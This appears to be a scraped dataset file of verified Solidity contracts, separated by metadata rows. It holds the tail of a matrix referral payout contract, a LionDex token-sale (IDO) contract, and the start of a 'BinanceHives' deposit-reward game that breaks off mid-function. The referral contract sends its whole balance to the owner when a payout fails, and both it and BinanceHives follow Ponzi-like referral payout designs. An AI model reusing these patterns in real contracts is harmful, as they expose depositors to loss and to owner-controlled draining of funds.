users[users[referrerAddress].f6Matrix[level].currentReferrer].f6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].f6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].f6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].f6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeF6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].f6Matrix[level].blocked = true;
}
users[referrerAddress].f6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeF6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateF6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeF3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeF3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeF6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeF6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveF3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeF3Levels[level];
}
function usersActiveF6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeF6Levels[level];
}
function usersF3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool) {
return (users[userAddress].f3Matrix[level].currentReferrer,
users[userAddress].f3Matrix[level].referrals,
users[userAddress].f3Matrix[level].blocked);
}
function usersF6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address) {
return (users[userAddress].f6Matrix[level].currentReferrer,
users[userAddress].f6Matrix[level].firstLevelReferrals,
users[userAddress].f6Matrix[level].secondLevelReferrals,
users[userAddress].f6Matrix[level].blocked,
users[userAddress].f6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].f3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].f3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].f6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].f6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
address(uint160(owner)).send(address(this).balance);
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 284,696 | 11,168 |
5c3319c079a5bc2e77c636344e85ab3e4239f3c5c8a14d4fe82d1d7840ab97ba
| 29,177 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/50/50b2eADB950e822cAE101a8Af780BCeD3382d6Fd_LionDexIDO.sol
| 5,196 | 19,498 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
'SafeBEP20: decreased allowance below zero');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor (){
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract LionDexIDO is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many tokens the user has provided.
bool claimed; // default false
}
uint256 public constant CALC_PRECISION = 10 ** 18;
uint256 public constant lionPrice = 2e4; //0.02 U
uint256 public constant minAmount = 100e6;//100 U;
uint256 public constant offer0Ratio = 34; //34%
// admin address
address public adminAddress;
// The raising token
IERC20 public raisingToken;
// The offering token(LION & esLION)
IERC20 public offeringToken0;
IERC20 public offeringToken1;
// The time when IDO starts
uint256 public startTime;
// The time when IDO ends
uint256 public endTime;
//The time calc duration when IDO ends;
uint256 public calcDuration;
// total amount of raising tokens need to be raised
uint256 public raisingAmount;
// total amount of offeringToken that will offer
uint256 public offeringAmount;
// total amount of raising tokens that have already raised
uint256 public totalAmount;
// address => amount
mapping (address => UserInfo) public userInfo;
// participators
address[] public addressList;
//address finalWithdraw
address public finalleftWithAddr;
event Deposit(address indexed user, uint256 amount);
event Harvest(address indexed user, uint256 offeringAmount, uint256 lionOfferingAmount,uint256 excessAmount);
constructor(IERC20 _raisingToken,
IERC20 _offeringToken0,
IERC20 _offeringToken1) {
raisingToken = _raisingToken;
offeringToken0 = _offeringToken0;//Lion & esLion
offeringToken1 =_offeringToken1;
startTime = 1680350400;
endTime = 1680609600;
offeringAmount = 100000000 * 10**18;// _offeringAmount;give to user token: 100,000,00034,000,000LION + 66,000,000esLION
raisingAmount= 2000000* 10**6; //_raisingAmount;raise USDC
adminAddress = msg.sender;
finalleftWithAddr = 0xaf2506fa0c4e3B569307C50F59Bb3c09857851ce;
totalAmount = 0;
calcDuration = 3600*2;
}
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Not Addmin");
_;
}
function setOfferingAmount(uint256 _offerAmount) public onlyAdmin {
require (block.timestamp < startTime, 'Not allowed setOfferingAmount');
offeringAmount = _offerAmount;
}
function setRaisingAmount(uint256 _raisingAmount) public onlyAdmin {
require (block.timestamp < startTime, 'Not allowed setRaisingAmount');
raisingAmount= _raisingAmount;
}
function setStartEndTime(uint256 _startTime,uint256 _endTime,uint256 _calcDuration) public onlyAdmin {
require (block.timestamp < startTime, 'Not allowed setStartEndTime');
startTime = _startTime;
endTime = _endTime;
calcDuration = _calcDuration;
}
function setFinalLeftWithAddr(address _finalleftWithAddr) public onlyAdmin {
finalleftWithAddr = _finalleftWithAddr;
}
function deposit(uint256 _amount) public {
require (block.timestamp >= startTime && block.timestamp <= endTime, 'not IDO time');
require (_amount >= minAmount, 'need amount > minAmount');
raisingToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if (userInfo[msg.sender].amount == 0) {
addressList.push(address(msg.sender));
}
userInfo[msg.sender].amount = userInfo[msg.sender].amount.add(_amount);
totalAmount = totalAmount.add(_amount);
emit Deposit(msg.sender, _amount);
}
function harvest() public nonReentrant {
require (block.timestamp > endTime.add(calcDuration), 'not harvest time');
require (userInfo[msg.sender].amount > 0, 'have you participated?');
require (!userInfo[msg.sender].claimed, 'nothing to harvest');
(uint256 offeringTokenAmount,,) = getOfferingAmount(msg.sender);
uint256 refundingTokenAmount = getRefundingAmount(msg.sender);
uint256 lionOfferingAmount;
if(offeringTokenAmount > 0){
lionOfferingAmount = offeringTokenAmount.mul(offer0Ratio).div(100);
offeringToken0.safeTransfer(address(msg.sender), lionOfferingAmount);
offeringToken1.safeTransfer(address(msg.sender), offeringTokenAmount.sub(lionOfferingAmount));
}
if (refundingTokenAmount > 0){
raisingToken.safeTransfer(address(msg.sender), refundingTokenAmount);
}
userInfo[msg.sender].claimed = true;
emit Harvest(msg.sender, offeringTokenAmount,lionOfferingAmount,refundingTokenAmount);
}
function hasHarvest(address _user) external view returns(bool) {
return userInfo[_user].claimed;
}
// allocation
function getUserAllocation(address _user) public view returns(uint256) {
return userInfo[_user].amount.mul(CALC_PRECISION).div(totalAmount);
}
// get the amount of IDO token you will get: add two coins
function getOfferingAmount(address _user) public view returns(uint256 userOfferingTotalAmount, uint256 userOfferAmount0, uint256 userOfferAmount1) {
if (totalAmount > raisingAmount){
uint256 allocation = getUserAllocation(_user);
userOfferingTotalAmount = offeringAmount.mul(allocation).div(CALC_PRECISION);
userOfferAmount0 = userOfferingTotalAmount.mul(offer0Ratio).div(100);
userOfferAmount1 = userOfferingTotalAmount.sub(userOfferAmount0);
}else {
userOfferingTotalAmount = userInfo[_user].amount.mul(offeringAmount).div(raisingAmount);
userOfferAmount0 = userOfferingTotalAmount.mul(offer0Ratio).div(100);
userOfferAmount1 = userOfferingTotalAmount.sub(userOfferAmount0);
}
}
// get the amount of USDC token you will be refunded
function getRefundingAmount(address _user) public view returns(uint256) {
if (totalAmount <= raisingAmount) {
return 0;
}
uint256 allocation = getUserAllocation(_user);
uint256 payAmount = raisingAmount.mul(allocation).div(CALC_PRECISION);
return userInfo[_user].amount.sub(payAmount);
}
function getAddressListLength() external view returns(uint256) {
return addressList.length;
}
function finalWithdrawRaisingToken(uint256 _raiseAmount) public onlyAdmin {
require (block.timestamp > endTime, 'not allow finalWithdrawRaisingToken');
require(_raiseAmount <= raisingAmount, 'raisingToken amount wrong');
raisingToken.safeTransfer(finalleftWithAddr, _raiseAmount);
}
function finalWithdrawOfferingToken() public onlyAdmin {
require (block.timestamp > endTime.add(calcDuration), 'not withdraw OfferingToken time');
if(totalAmount < raisingAmount){
uint256 offerUserAmount = totalAmount.mul(offeringAmount).div(raisingAmount);
uint256 withDrawOfferAmount = offeringAmount.sub(offerUserAmount);
uint256 offer0Amount = withDrawOfferAmount.mul(offer0Ratio).div(100);
uint256 offer1Amount = withDrawOfferAmount.sub(withDrawOfferAmount.mul(offer0Ratio).div(100));
offeringToken0.safeTransfer(finalleftWithAddr, offer0Amount);
offeringToken1.safeTransfer(finalleftWithAddr, offer1Amount);
}
}
function finalWithdrawOfferingTokenEx(uint256 _offer0Amount,uint256 _offer1Amount) public onlyAdmin {
require (block.timestamp > endTime.add(calcDuration), 'not withdraw OfferingToken time');
if(totalAmount < raisingAmount){
uint256 withDrawOfferAmount = (raisingAmount.sub(totalAmount).mul(1e18).div(lionPrice));
require(_offer0Amount <= withDrawOfferAmount.mul(offer0Ratio).div(100), 'offer 0 amount wrong');
require(_offer1Amount <= withDrawOfferAmount.sub(withDrawOfferAmount.mul(offer0Ratio).div(100)), 'offer 1 amount wrong');
offeringToken0.safeTransfer(finalleftWithAddr, _offer0Amount);
offeringToken1.safeTransfer(finalleftWithAddr, _offer1Amount);
}
}
function getIDOAmounts() public view returns(uint256 raiseAmount,uint256 offerAmount0,uint256 offerAmount1,uint256 userTotalAmout){
raiseAmount = raisingAmount; //raisingToken USDC
offerAmount0 = offeringAmount.mul(offer0Ratio).div(100); // LION
offerAmount1 = offeringAmount.sub(offerAmount0); // esLION
userTotalAmout = totalAmount; //user USDC
}
function getLionPrice() public pure returns(uint256){
return lionPrice;
}
function getStartAndEndTime() public view returns(uint256 idoStartTime,uint256 idoEndTime,uint256 idoCalcTime){
idoStartTime = startTime;
idoEndTime = endTime;
idoCalcTime = idoEndTime + calcDuration;
}
function getCurrBlockAndTime() public view returns(uint256 blockNum,uint256 blockTime){
blockNum = block.number;
blockTime = block.timestamp;
}
function getIDOExecuteStatus() public view returns(uint256 status){
uint256 idoLastTime = endTime + calcDuration;
if((block.timestamp >= startTime) && (block.timestamp <= endTime)){
status = 1; //start Deposit
}else if((block.timestamp > endTime) && (block.timestamp <= idoLastTime)){
status = 2; //calc
}else if(block.timestamp > idoLastTime){
status = 3; //havest
}else{
status =0; //not start
}
}
}
| 28,158 | 11,169 |
7bfadd019bf8a3ecb519db4a838c4d0f53eec8cda2732bd902effd211e1d0b11
| 21,930 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x184401930AC416DF0Af999AeE4148E84b94932df/contract.sol
| 6,201 | 20,850 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract UserBonus {
using SafeMath for uint256;
uint256 public constant BONUS_PERCENTS_PER_WEEK = 1;
uint256 public constant BONUS_TIME = 1 weeks;
struct UserBonusData {
uint256 threadPaid;
uint256 lastPaidTime;
uint256 numberOfUsers;
mapping(address => bool) userRegistered;
mapping(address => uint256) userPaid;
}
UserBonusData public bonus;
event BonusPaid(uint256 users, uint256 amount);
event UserAddedToBonus(address indexed user);
modifier payRepBonusIfNeeded {
payRepresentativeBonus();
_;
}
constructor() {
bonus.lastPaidTime = block.timestamp;
}
function payRepresentativeBonus() public {
while (bonus.numberOfUsers > 0 && bonus.lastPaidTime.add(BONUS_TIME) <= block.timestamp) {
uint256 reward = address(this).balance.mul(BONUS_PERCENTS_PER_WEEK).div(100);
bonus.threadPaid = bonus.threadPaid.add(reward.div(bonus.numberOfUsers));
bonus.lastPaidTime = bonus.lastPaidTime.add(BONUS_TIME);
emit BonusPaid(bonus.numberOfUsers, reward);
}
}
function userRegisteredForBonus(address user) public view returns(bool) {
return bonus.userRegistered[user];
}
function userBonusPaid(address user) public view returns(uint256) {
return bonus.userPaid[user];
}
function userBonusEarned(address user) public view returns(uint256) {
return bonus.userRegistered[user] ? bonus.threadPaid.sub(bonus.userPaid[user]) : 0;
}
function retrieveBonus() public virtual payRepBonusIfNeeded {
require(bonus.userRegistered[msg.sender], "User not registered for bonus");
uint256 amount = Math.min(address(this).balance, userBonusEarned(msg.sender));
bonus.userPaid[msg.sender] = bonus.userPaid[msg.sender].add(amount);
msg.sender.transfer(amount);
}
function _addUserToBonus(address user) internal payRepBonusIfNeeded {
require(!bonus.userRegistered[user], "User already registered for bonus");
bonus.userRegistered[user] = true;
bonus.userPaid[user] = bonus.threadPaid;
bonus.numberOfUsers = bonus.numberOfUsers.add(1);
emit UserAddedToBonus(user);
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function renounceOwnership() public view override(Ownable) onlyOwner {
revert();
}
function transferOwnership(address newOwner) public override(Ownable) onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public virtual onlyPendingOwner {
transferOwnership(pendingOwner);
delete pendingOwner;
}
}
contract BinanceHives is Claimable, UserBonus {
using SafeMath for uint256;
struct Player {
uint256 registeredDate;
bool airdropCollected;
address referrer;
uint256 balanceHoney;
uint256 balanceWax;
uint256 points;
uint256 medals;
uint256 qualityLevel;
uint256 lastTimeCollected;
uint256 unlockedBee;
uint256[BEES_COUNT] bees;
uint256 totalDeposited;
uint256 totalWithdrawed;
uint256 referralsTotalDeposited;
uint256 subreferralsCount;
address[] referrals;
}
uint256 public constant BEES_COUNT = 8;
uint256 public constant SUPER_BEE_INDEX = BEES_COUNT - 1;
uint256 public constant TRON_BEE_INDEX = BEES_COUNT - 2;
uint256 public constant MEDALS_COUNT = 10;
uint256 public constant QUALITIES_COUNT = 6;
uint256[BEES_COUNT] public BEES_PRICES = [0e18, 1500e18, 7500e18, 30000e18, 75000e18, 250000e18, 750000e18, 100000e18];
uint256[BEES_COUNT] public BEES_LEVELS_PRICES = [0e18, 0e18, 11250e18, 45000e18, 112500e18, 375000e18, 1125000e18, 0];
uint256[BEES_COUNT] public BEES_MONTHLY_PERCENTS = [0, 220, 223, 226, 229, 232, 235, 333];
uint256[MEDALS_COUNT] public MEDALS_POINTS = [0e18, 50000e18, 190000e18, 510000e18, 1350000e18, 3225000e18, 5725000e18, 8850000e18, 12725000e18, 23500000e18];
uint256[MEDALS_COUNT] public MEDALS_REWARDS = [0e18, 3500e18, 10500e18, 24000e18, 65000e18, 140000e18, 185000e18, 235000e18, 290000e18, 800000e18];
uint256[QUALITIES_COUNT] public QUALITY_HONEY_PERCENT = [50, 52, 54, 56, 58, 60];
uint256[QUALITIES_COUNT] public QUALITY_PRICE = [0e18, 15000e18, 50000e18, 120000e18, 250000e18, 400000e18];
uint256 public constant COINS_PER_BNB = 250000;
uint256 public constant MAX_BEES_PER_TARIFF = 32;
uint256 public constant FIRST_BEE_AIRDROP_AMOUNT = 500e18;
uint256 public constant ADMIN_PERCENT = 10;
uint256 public constant HONEY_DISCOUNT_PERCENT = 10;
uint256 public constant SUPERBEE_PERCENT_UNLOCK = 5;
uint256 public constant SUPER_BEE_BUYER_PERIOD = 7 days;
uint256[] public REFERRAL_PERCENT_PER_LEVEL = [5, 2, 1, 1, 1];
uint256[] public REFERRAL_POINT_PERCENT = [50, 25, 0, 0, 0];
uint256 public maxBalance;
uint256 public totalPlayers;
uint256 public totalDeposited;
uint256 public totalWithdrawed;
uint256 public totalBeesBought;
mapping(address => Player) public players;
event Registered(address indexed user, address indexed referrer);
event Deposited(address indexed user, uint256 amount);
event Withdrawed(address indexed user, uint256 amount);
event ReferrerPaid(address indexed user, address indexed referrer, uint256 indexed level, uint256 amount);
event MedalAwarded(address indexed user, uint256 indexed medal);
event QualityUpdated(address indexed user, uint256 indexed quality);
event RewardCollected(address indexed user, uint256 honeyReward, uint256 waxReward);
event BeeUnlocked(address indexed user, uint256 bee);
event BeesBought(address indexed user, uint256 bee, uint256 count);
constructor() {
_register(owner(), address(0));
}
receive() external payable {
if (msg.value == 0) {
if (players[msg.sender].registeredDate > 0) {
collect();
}
} else {
deposit(address(0));
}
}
function playerBees(address who) public view returns(uint256[BEES_COUNT] memory) {
return players[who].bees;
}
function superBeeUnlocked() public view returns(bool) {
return address(this).balance <= maxBalance.mul(100 - SUPERBEE_PERCENT_UNLOCK).div(100);
}
function referrals(address user) public view returns(address[] memory) {
return players[user].referrals;
}
function referrerOf(address user, address ref) internal view returns(address) {
if (players[user].registeredDate == 0 && ref != user) {
return ref;
}
return players[user].referrer;
}
function transfer(address account, uint256 amount) public returns(bool) {
require(msg.sender == owner());
collect();
_payWithWaxAndHoney(msg.sender, amount);
players[account].balanceWax = players[account].balanceWax.add(amount);
return true;
}
function deposit(address ref) public payable payRepBonusIfNeeded {
require(players[ref].registeredDate != 0, "Referrer address should be registered");
Player storage player = players[msg.sender];
address refAddress = referrerOf(msg.sender, ref);
require((msg.value == 0) != player.registeredDate > 0, "Send 0 for registration");
if (player.registeredDate == 0) {
_register(msg.sender, refAddress);
}
collect();
uint256 wax = msg.value.mul(COINS_PER_BNB);
player.balanceWax = player.balanceWax.add(wax);
player.totalDeposited = player.totalDeposited.add(msg.value);
totalDeposited = totalDeposited.add(msg.value);
player.points = player.points.add(wax);
emit Deposited(msg.sender, msg.value);
_distributeFees(msg.sender, wax, msg.value, refAddress);
_addToBonusIfNeeded(msg.sender);
uint256 adminWithdrawed = players[owner()].totalWithdrawed;
maxBalance = Math.max(maxBalance, address(this).balance.add(adminWithdrawed));
}
function withdraw(uint256 amount) public {
Player storage player = players[msg.sender];
collect();
uint256 value = amount.div(COINS_PER_BNB);
require(value > 0, "Trying to withdraw too small");
player.balanceHoney = player.balanceHoney.sub(amount);
player.totalWithdrawed = player.totalWithdrawed.add(value);
totalWithdrawed = totalWithdrawed.add(value);
msg.sender.transfer(value);
emit Withdrawed(msg.sender, value);
}
function collect() public payRepBonusIfNeeded {
Player storage player = players[msg.sender];
require(player.registeredDate > 0, "Not registered yet");
if (userBonusEarned(msg.sender) > 0) {
retrieveBonus();
}
(uint256 balanceHoney, uint256 balanceWax) = instantBalance(msg.sender);
emit RewardCollected(msg.sender,
balanceHoney.sub(player.balanceHoney),
balanceWax.sub(player.balanceWax));
if (!player.airdropCollected && player.registeredDate < block.timestamp) {
player.airdropCollected = true;
}
player.balanceHoney = balanceHoney;
player.balanceWax = balanceWax;
player.lastTimeCollected = block.timestamp;
}
function instantBalance(address account)
public
view
returns(uint256 balanceHoney,
uint256 balanceWax)
{
Player storage player = players[account];
if (player.registeredDate == 0) {
return (0, 0);
}
balanceHoney = player.balanceHoney;
balanceWax = player.balanceWax;
uint256 collected = earned(account);
if (!player.airdropCollected && player.registeredDate < block.timestamp) {
collected = collected.sub(FIRST_BEE_AIRDROP_AMOUNT);
balanceWax = balanceWax.add(FIRST_BEE_AIRDROP_AMOUNT);
}
uint256 honeyReward = collected.mul(QUALITY_HONEY_PERCENT[player.qualityLevel]).div(100);
uint256 waxReward = collected.sub(honeyReward);
balanceHoney = balanceHoney.add(honeyReward);
balanceWax = balanceWax.add(waxReward);
}
function unlock(uint256 bee) public payable payRepBonusIfNeeded {
Player storage player = players[msg.sender];
if (msg.value > 0) {
deposit(address(0));
}
collect();
require(bee < SUPER_BEE_INDEX, "No more levels to unlock");
require(player.bees[bee - 1] == MAX_BEES_PER_TARIFF, "Prev level must be filled");
require(bee == player.unlockedBee + 1, "Trying to unlock wrong bee type");
if (bee == TRON_BEE_INDEX) {
require(player.medals >= 9);
}
_payWithWaxAndHoney(msg.sender, BEES_LEVELS_PRICES[bee]);
player.unlockedBee = bee;
player.bees[bee] = 1;
